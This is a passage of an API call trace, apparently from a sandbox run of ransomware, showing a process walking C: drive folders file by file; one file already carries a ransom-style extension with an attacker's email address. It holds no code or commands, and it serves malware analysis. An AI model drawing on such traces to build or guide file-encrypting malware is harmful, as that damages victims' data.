[0165.195] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.195] SetEvent (hEvent=0x178) returned 1 [0165.195] ResetEvent (hEvent=0x17c) returned 1 [0165.197] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.197] FindClose (in: hFindFile=0x794e70 | out: hFindFile=0x794e70) returned 1 [0165.197] GetProcessHeap () returned 0x6a0000 [0165.197] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0165.197] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0165.197] GetProcessHeap () returned 0x6a0000 [0165.197] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0165.197] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e70 [0165.197] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.197] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.197] SetEvent (hEvent=0x178) returned 1 [0165.198] ResetEvent (hEvent=0x17c) returned 1 [0165.199] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.199] FindClose (in: hFindFile=0x794e70 | out: hFindFile=0x794e70) returned 1 [0165.199] GetProcessHeap () returned 0x6a0000 [0165.199] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0165.200] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0165.200] GetProcessHeap () returned 0x6a0000 [0165.200] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0165.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e70 [0165.200] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.200] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.200] SetEvent (hEvent=0x178) returned 1 [0165.200] ResetEvent (hEvent=0x17c) returned 1 [0165.202] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.202] FindClose (in: hFindFile=0x794e70 | out: hFindFile=0x794e70) returned 1 [0165.202] GetProcessHeap () returned 0x6a0000 [0165.202] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0165.202] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0165.202] FindClose (in: hFindFile=0x720088 | out: hFindFile=0x720088) returned 1 [0165.203] GetProcessHeap () returned 0x6a0000 [0165.203] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x710080 | out: hHeap=0x6a0000) returned 1 [0165.203] FindNextFileW (in: hFindFile=0x6bd3c0, lpFindFileData=0x2c3f8a8 | out: lpFindFileData=0x2c3f8a8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0165.203] SetEvent (hEvent=0x178) returned 1 [0165.203] ResetEvent (hEvent=0x17c) returned 1 [0165.205] FindNextFileW (in: hFindFile=0x6bd3c0, lpFindFileData=0x2c3f8a8 | out: lpFindFileData=0x2c3f8a8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x79274e0, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x79274e0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x80e3c60, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x2102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="BOOTSE~1.EKI")) returned 1 [0165.206] FindNextFileW (in: hFindFile=0x6bd3c0, lpFindFileData=0x2c3f8a8 | out: lpFindFileData=0x2c3f8a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0165.206] GetProcessHeap () returned 0x6a0000 [0165.206] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x710080 [0165.206] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="咊ö᧐kn\x80")) returned 0xffffffff [0165.206] GetProcessHeap () returned 0x6a0000 [0165.206] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x710080 | out: hHeap=0x6a0000) returned 1 [0165.206] FindNextFileW (in: hFindFile=0x6bd3c0, lpFindFileData=0x2c3f8a8 | out: lpFindFileData=0x2c3f8a8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0165.206] FindNextFileW (in: hFindFile=0x6bd3c0, lpFindFileData=0x2c3f8a8 | out: lpFindFileData=0x2c3f8a8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xda0cbec0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0165.206] SetEvent (hEvent=0x178) returned 1 [0165.207] ResetEvent (hEvent=0x17c) returned 1 [0165.207] FindNextFileW (in: hFindFile=0x6bd3c0, lpFindFileData=0x2c3f8a8 | out: lpFindFileData=0x2c3f8a8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0165.208] GetProcessHeap () returned 0x6a0000 [0165.208] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x710080 [0165.208] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="咊ö᧐kn\x80")) returned 0xffffffff [0165.208] GetProcessHeap () returned 0x6a0000 [0165.208] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x710080 | out: hHeap=0x6a0000) returned 1 [0165.208] FindNextFileW (in: hFindFile=0x6bd3c0, lpFindFileData=0x2c3f8a8 | out: lpFindFileData=0x2c3f8a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xd9804da0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0165.208] SetEvent (hEvent=0x178) returned 1 [0165.208] ResetEvent (hEvent=0x17c) returned 1 [0165.209] FindNextFileW (in: hFindFile=0x6bd3c0, lpFindFileData=0x2c3f8a8 | out: lpFindFileData=0x2c3f8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0165.209] GetProcessHeap () returned 0x6a0000 [0165.209] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x710080 [0165.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="咊ö᧐kn\x80")) returned 0xffffffff [0165.210] GetProcessHeap () returned 0x6a0000 [0165.210] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x710080 | out: hHeap=0x6a0000) returned 1 [0165.210] FindNextFileW (in: hFindFile=0x6bd3c0, lpFindFileData=0x2c3f8a8 | out: lpFindFileData=0x2c3f8a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1adcd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1adcd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0165.210] GetProcessHeap () returned 0x6a0000 [0165.210] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x710080 [0165.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1adcd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1adcd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e70 [0165.210] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1adcd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1adcd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.210] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf5dfa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf5dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0165.210] GetProcessHeap () returned 0x6a0000 [0165.210] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x720088 [0165.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf5dfa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf5dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x36d02f8 [0165.210] FindNextFileW (in: hFindFile=0x36d02f8, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf5dfa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf5dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.211] FindNextFileW (in: hFindFile=0x36d02f8, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0165.211] GetProcessHeap () returned 0x6a0000 [0165.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3701518 [0165.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x731098 [0165.211] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.212] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0165.212] SetEvent (hEvent=0x178) returned 1 [0165.212] ResetEvent (hEvent=0x17c) returned 1 [0165.215] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0165.215] FindClose (in: hFindFile=0x731098 | out: hFindFile=0x731098) returned 1 [0165.215] GetProcessHeap () returned 0x6a0000 [0165.215] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3701518 | out: hHeap=0x6a0000) returned 1 [0165.215] FindNextFileW (in: hFindFile=0x36d02f8, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0165.215] GetProcessHeap () returned 0x6a0000 [0165.215] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3701518 [0165.215] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x731098 [0165.359] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.359] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0165.359] GetProcessHeap () returned 0x6a0000 [0165.359] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0165.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, 